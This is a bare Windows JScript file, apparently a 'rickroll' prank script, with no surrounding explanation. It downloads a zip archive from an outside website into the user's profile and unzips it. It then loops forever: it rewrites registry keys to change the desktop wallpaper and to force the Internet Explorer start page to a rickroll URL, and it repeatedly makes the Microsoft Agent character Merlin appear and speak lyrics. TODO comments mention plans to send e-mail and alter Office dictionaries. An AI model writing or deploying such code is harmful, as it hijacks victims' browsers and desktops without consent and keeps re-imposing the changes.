var WshShell = new ActiveXObject("Wscript.Shell"); // URL for desktop wallpaper var strFileURL = "http://computerunlocked.com/Themes/rickroll/pkg.zip"; var homePage = "http://thekickback.com/rickroll/rickroll.php"; strHDLocation = WshShell.ExpandEnvironmentStrings("%USERPROFILE%") + "\\" + "rickroll.zip"; // Fetch the file var objXMLHTTP = new ActiveXObject("MSXML2.XMLHTTP"); objXMLHTTP.open("GET", strFileURL, false); objXMLHTTP.send(); var objFSO = new ActiveXObject("Scripting.FileSystemObject"); if (objXMLHTTP.Status == 200) { var objADOStream = new ActiveXObject("ADODB.Stream"); objADOStream.Open(); objADOStream.Type = 1; //adTypeBinary objADOStream.Write(objXMLHTTP.ResponseBody); objADOStream.Position = 0; //Set the stream position to the start if (objFSO.FileExists(strHDLocation)) { objFSO.DeleteFile(strHDLocation); } objADOStream.SaveToFile(strHDLocation); objADOStream.Close(); objADOStream = null; } objXMLHTTP = null; if (objFSO.FileExists(strHDLocation)) { Unzip(strHDLocation) } var imageFileName = WshShell.ExpandEnvironmentStrings("%USERPROFILE%") + "\\" + "rickroll\\img.bmp" while (true) { // update in registry if (objFSO.FileExists(imageFileName)) { WshShell.RegWrite("HKCU\\Control Panel\\Desktop\\Wallpaper", imageFileName); // let the system know about the change WshShell.Run("%windir%\\System32\\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", 1, true); } // set the IE home-page WshShell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", homePage); // TODO - custom word dictionaries C:\Documents and Settings\\Application Data\Microsoft\Office\MSO3081.acl http://support.microsoft.com/kb/926927 // TODO - send e-mail // TODO - custom color schemes WScript.Sleep(Math.ceil(Math.random() * 1000000)); var agent = null; if (agent == null && HasAgent() == true) { agent = new ActiveXObject("Agent.Control.1"); } if (agent != null) { agent.Connected = true; agent.Characters.Load("Merlin", "Merlin.acs"); var character = agent.Characters("Merlin"); if (character != null) { character.Show(); WScript.Sleep(1000); var x = Math.ceil(Math.random() * 500); var y = Math.ceil(Math.random() * 500); character.Speak("never want to give _you_ up!"); WScript.Sleep(1000); character.MoveTo(50 + x, 50 + y, 3000); WScript.Sleep(5000); character.Play("GestureLeft"); WScript.Sleep(1000); character.Hide(); WScript.Sleep(2000); character = null; agent.Characters.Unload("Merlin"); WScript.Sleep(Math.ceil(Math.random() * 10000)); } } } // This routine unzips a file. NOTE: The files are extracted to a folder ' // in the same location using the name of the file minus the extension. ' // EX. C:\Test.zip will be extracted to C:\Test ' //strFile (String) = Full path and filename of the file to be unzipped. ' function Unzip(strFile) { var folderName = strFile.replace(".zip", ""); var fso = new ActiveXObject("Scripting.FileSystemObject"); var targetFolder = folderName + "\\"; if (fso.FolderExists(folderName)) { fso.DeleteFolder(folderName, true); } fso.CreateFolder(targetFolder); var extractTo = targetFolder + " "; var objShell = new ActiveXObject("shell.Application"); var objFolder = new Object; objFolder = objShell.NameSpace("" + targetFolder); var objSourceFolder = new Object; objSourceFolder = objShell.NameSpace("" + strFile); //WshShell.Popup(strFile); var items = objSourceFolder.Items(); objFolder.CopyHere(items); fso.DeleteFile(strFile, true); fso = null; objShell = null; } function HasAgent() { try { var agent = new ActiveXObject("Agent.Control.1"); return agent != null; } catch(e) { return false; } }